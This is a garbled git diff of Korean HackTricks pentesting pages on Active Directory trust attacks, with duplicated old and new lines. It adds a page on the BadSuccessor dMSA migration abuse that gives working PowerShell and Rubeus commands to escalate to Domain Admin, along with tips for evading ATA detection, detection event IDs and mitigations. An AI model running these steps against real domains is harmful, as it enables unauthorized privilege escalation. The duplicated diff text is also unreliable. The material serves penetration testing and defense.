[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지하여 신뢰의 무결성을 보장합니다.
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 본질적으로 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 특정 **키**를 교환하고 유지하여 신뢰의 무결성을 보장합니다.
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **인터-리얼름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-리얼름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **인터-름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
**단계**:
1. **도메인 1**의 **클라이언트 컴퓨터**가 **NTLM 해시**를 사용하여 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청하는 것으로 프로세스가 시작됩니다.
2. 클라이언트가 성공적으로 인증되면 DC1 새로운 TGT를 발급합니다.
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-리얼름 TGT**를 요청합니다.
4. 인터-리얼름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다.
5. 클라이언트는 인터-리얼름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다.
6. DC2는 공유된 신뢰 키를 사용하여 인터-리얼름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
1. **도메인 1**의 **클라이언트 컴퓨터**가 **NTLM 해시**를 사용하여 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청하는 프로세스를 시작합니다.
2. 클라이언트가 성공적으로 인증되면 DC1 새로운 TGT를 발급합니다.
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-름 TGT**를 요청합니다.
4. 인터-름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다.
5. 클라이언트는 인터-름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다.
6. DC2는 공유된 신뢰 키를 사용하여 인터-름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하여, 서버의 계정 해시로 암호화된 서비스에 접근합니다.
### 다양한 신뢰
**신뢰는 1방향 또는 2방향**일 수 있다는 점에 유의해야 합니다. 2방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **1방향** 신뢰 관계에서는 한 도메인이 **신뢰받는** 도메인이고 다른 도메인이 **신뢰하는** 도메인입니다. 마지막 경우, **신뢰받는 도메인에서 신뢰하는 도메인 내의 리소스에만 접근할 수 있습니다**.
**신뢰는 1방향 또는 2방향**일 수 있다는 점에 유의하는 것이 중요합니다. 2방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **1방향** 신뢰 관계에서는 한 도메인이 **신뢰받는** 도메인이고 다른 도메인이 **신뢰하는** 도메인입니다. 마지막 경우, **신뢰받는 도메인에서 신뢰하는 도메인 내의 리소스에만 접근할 수 있습니다**.
도메인 A가 도메인 B를 신뢰하면, A는 신뢰하는 도메인이고 B는 신뢰받는 도메인입니다. 또한, **도메인 A**에서는 이것이 **아웃바운드 신뢰**가 되고, **도메인 B**에서는 **인바운드 신뢰**가 됩니다.
@ -622,7 +622,7 @@ Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메
**포리스트 내 모든 gMSA 타협**
공격 벡터는 도메인 내 특권 gMSA를 목표로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 전역의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
공격 벡터는 도메인 내 특권 gMSA를 목표로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 가지고 있으면 KDS Root 키에 접근하고 포리스트 전역의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
자세한 분석 및 단계별 안내는 다음에서 확인할 수 있습니다:
@ -630,6 +630,12 @@ Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메
golden-dmsa-gmsa.md
{{#endref}}
보완적인 위임 MSA 공격 (BadSuccessor 마이그레이션 속성 악용):
{{#ref}}
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
추가 외부 연구: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**스키마 변경 공격**
@ -642,7 +648,7 @@ golden-dmsa-gmsa.md
ADCS ESC5 취약점은 공인 키 인프라(PKI) 객체에 대한 제어를 목표로 하여 포리스트 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 자식 DC를 타협하면 ESC5 공격을 실행할 수 있습니다.
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있는 능력이 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
### 외부 포리스트 도메인 - 단방향(수신) 또는 양방향
```bash
@ -655,13 +661,13 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있으며**, 이에 따라 **확인되지 않은 권한**을 부여받습니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정확히 알 수 없는 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### 외부 포리스트 도메인 - 방향 (아웃바운드)
### 외부 포리스트 도메인 - 방향 (아웃바운드)
```bash
Get-DomainTrust -Domain current.local
@ -675,7 +681,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
이 시나리오에서 **귀하의 도메인**은 **다른 도메인**의 주체에게 **특권**을 **신뢰**하고 있습니다.
그러나 **도메인이 신뢰**될 때, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 **생성**하며, 이 사용자는 **신뢰된 비밀번호**를 **비밀번호**로 사용합니다. 이는 **신뢰하는 도메인에서 사용자를 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 특권을 상승시키려는 것이 가능하다는 것을 의미합니다:
그러나 **도메인이 신뢰**될 때, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 생성하고 **신뢰된 비밀번호**를 **비밀번호**로 사용합니다. 이는 **신뢰하는 도메인의 사용자에 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 특권을 상승시키려는 것이 가능하다는 것을 의미합니다:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -684,7 +690,7 @@ external-forest-domain-one-way-outbound.md
신뢰된 도메인을 타협하는 또 다른 방법은 도메인 신뢰의 **반대 방향**에 생성된 [**SQL 신뢰 링크**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 그리 흔하지 않습니다).
신뢰된 도메인을 타협하는 또 다른 방법은 **신뢰된 도메인에서 접근할 수 있는** 머신에서 대기하여 **RDP**를 통해 로그인하는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하고 **피해자의 원래 도메인에 접근**할 수 있습니다.\
게다가, 만약 **피해자가 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
게다가, 만약 **피해자가 그의 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
{{#ref}}
rdp-sessions-abuse.md
@ -717,26 +723,26 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **자격 증명 보호를 위한 방어 조치**
- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 권장하며, 다른 호스트에서의 사용은 피해야 합니다.
- **서비스 계정 권**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권으로 실행되어서는 안 됩니다.
- **임시 권 제한**: DA 권이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 수행할 수 있습니다: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **서비스 계정 **: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권으로 실행되어서는 안 됩니다.
- **임시 제한**: DA 권이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 수행할 수 있습니다: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **기만 기술 구현**
- 기만을 구현하는 것은 함정 설정을 포함하며, 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 비밀번호와 같은 기능을 가진 유령 사용자 또는 컴퓨터를 설정하는 것입니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권 그룹에 추가하는 것을 포함합니다.
- 기만을 구현하는 것은 함정 설정을 포함하며, 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 비밀번호와 같은 기능을 가진 유사 사용자 또는 컴퓨터를 포함합니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권 그룹에 추가하는 것을 포함합니다.
- 실용적인 예로는 다음과 같은 도구를 사용하는 것입니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 기만 기술 배포에 대한 더 많은 정보는 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다.
### **기만 식별**
- **사용자 객체의 경우**: 의심스러운 지표에는 비정상적인 ObjectSID, 드문 로그인, 생성 날짜 및 낮은 잘못된 비밀번호 수가 포함됩니다.
- **일반 지표**: 잠재적인 유 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
- **일반 지표**: 잠재적인 유 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
### **탐지 시스템 우회**
- **Microsoft ATA 탐지 우회**:
- **사용자 열거**: ATA 탐지를 방지하기 위해 도메인 컨트롤러에서 세션 열거를 피합니다.
- **티켓 가장**: 티켓 생성을 위해 **aes** 키를 사용하면 NTLM으로 다운그레이드하지 않음으로써 탐지를 피할 수 있습니다.
- **DCSync 공격**: ATA 탐지를 피하기 위해 도메인 컨트롤러가 아닌 곳에서 실행하는 것이 권장되며, 도메인 컨트롤러에서 직접 실행하면 경고가 발생합니다.
- **DCSync 공격**: ATA 탐지를 피하기 위해 도메인 컨트롤러에서 실행하는 것이 권장되며, 도메인 컨트롤러에서 직접 실행하면 경고가 발생합니다.
## 참고 문헌

View File

@ -0,0 +1,101 @@
# BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
{{#include ../../banners/hacktricks-training.md}}
## 개요
Delegated Managed Service Accounts (**dMSA**)는 Windows Server 2025에 탑재된 **gMSA**의 차세대 후계자입니다. 합법적인 마이그레이션 워크플로우는 관리자가 *오래된* 계정(사용자, 컴퓨터 또는 서비스 계정)을 dMSA로 교체하면서 권한을 투명하게 유지할 수 있도록 합니다. 이 워크플로우는 `Start-ADServiceAccountMigration``Complete-ADServiceAccountMigration`과 같은 PowerShell cmdlet을 통해 노출되며, **dMSA 객체**의 두 LDAP 속성에 의존합니다:
* **`msDS-ManagedAccountPrecededByLink`** *DN 링크*로서 대체된(오래된) 계정.
* **`msDS-DelegatedMSAState`** 마이그레이션 상태 (`0` = 없음, `1` = 진행 중, `2` = *완료됨*).
공격자가 OU 내에서 **어떤** dMSA를 생성하고 이 두 속성을 직접 조작할 수 있다면, LSASS 및 KDC는 dMSA를 연결된 계정의 *후계자*로 간주합니다. 이후 공격자가 dMSA로 인증하면 **연결된 계정의 모든 권한을 상속받습니다** 관리 계정이 연결된 경우 **도메인 관리자**까지 가능합니다.
이 기술은 2025년 Unit 42에 의해 **BadSuccessor**라는 이름이 붙여졌습니다. 작성 시점에 **보안 패치**는 제공되지 않으며, OU 권한의 강화만이 문제를 완화합니다.
### 공격 전제 조건
1. **조직 단위(OU)** 내에서 객체를 생성할 수 있는 *권한이 있는* 계정과 다음 중 하나 이상을 보유해야 합니다:
* `Create Child`**`msDS-DelegatedManagedServiceAccount`** 객체 클래스
* `Create Child`**`All Objects`** (일반 생성)
2. LDAP 및 Kerberos에 대한 네트워크 연결(표준 도메인 가입 시나리오 / 원격 공격).
## 취약한 OU 열거하기
Unit 42는 각 OU의 보안 설명자를 파싱하고 필요한 ACE를 강조하는 PowerShell 도우미 스크립트를 공개했습니다:
```powershell
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
```
스크립트는 `(objectClass=organizationalUnit)`에 대한 페이지된 LDAP 검색을 실행하고 모든 `nTSecurityDescriptor`를 확인합니다.
* `ADS_RIGHT_DS_CREATE_CHILD` (0x0001)
* `Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8` (객체 클래스 *msDS-DelegatedManagedServiceAccount*)
## Exploitation Steps
쓰기 가능한 OU가 식별되면 공격은 단 3개의 LDAP 쓰기 작업만 남습니다:
```powershell
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
```
복제 후 공격자는 단순히 **logon**하여 `attacker_dMSA$`로 로그인하거나 Kerberos TGT를 요청할 수 있습니다. Windows는 *superseded* 계정의 토큰을 생성합니다.
### 자동화
여러 공개 PoC가 비밀번호 검색 및 티켓 관리를 포함한 전체 워크플로를 래핑합니다:
* SharpSuccessor (C#) [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
* BadSuccessor.ps1 (PowerShell) [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
* NetExec 모듈 `badsuccessor` (Python) [https://github.com/Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
### 사후 활용
```powershell
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
```
## 탐지 및 사냥
OU에서 **객체 감사**를 활성화하고 다음 Windows 보안 이벤트를 모니터링합니다:
* **5137** **dMSA** 객체 생성
* **5136** **`msDS-ManagedAccountPrecededByLink`** 수정
* **4662** 특정 속성 변경
* GUID `2f5c138a-bd38-4016-88b4-0ec87cbb4919``msDS-DelegatedMSAState`
* GUID `a0945b2b-57a2-43bd-b327-4d112a4e8bd1``msDS-ManagedAccountPrecededByLink`
* **2946** dMSA에 대한 TGT 발급
`4662` (속성 수정), `4741` (컴퓨터/서비스 계정 생성) 및 `4624` (후속 로그온)을 상관관계 분석하면 BadSuccessor 활동이 빠르게 드러납니다. **XSIAM**과 같은 XDR 솔루션은 즉시 사용할 수 있는 쿼리를 제공합니다 (참조를 참조하십시오).
## 완화
* **최소 권한** 원칙을 적용합니다 신뢰할 수 있는 역할에만 *서비스 계정* 관리를 위임합니다.
* 명시적으로 필요하지 않은 OU에서 `Create Child` / `msDS-DelegatedManagedServiceAccount`를 제거합니다.
* 위에 나열된 이벤트 ID를 모니터링하고 dMSA를 생성하거나 편집하는 *비티어-0* 신원에 대해 경고합니다.
## 추가 정보
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
## 참고 문헌
- [Unit42 좋은 계정이 나쁜 계정으로 변할 때: 위임된 관리 서비스 계정 악용](https://unit42.paloaltonetworks.com/badsuccessor-attack-vector/)
- [SharpSuccessor PoC](https://github.com/logangoins/SharpSuccessor)
- [BadSuccessor.ps1 Pentest-Tools-Collection](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
- [NetExec BadSuccessor 모듈](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
{{#include ../../banners/hacktricks-training.md}}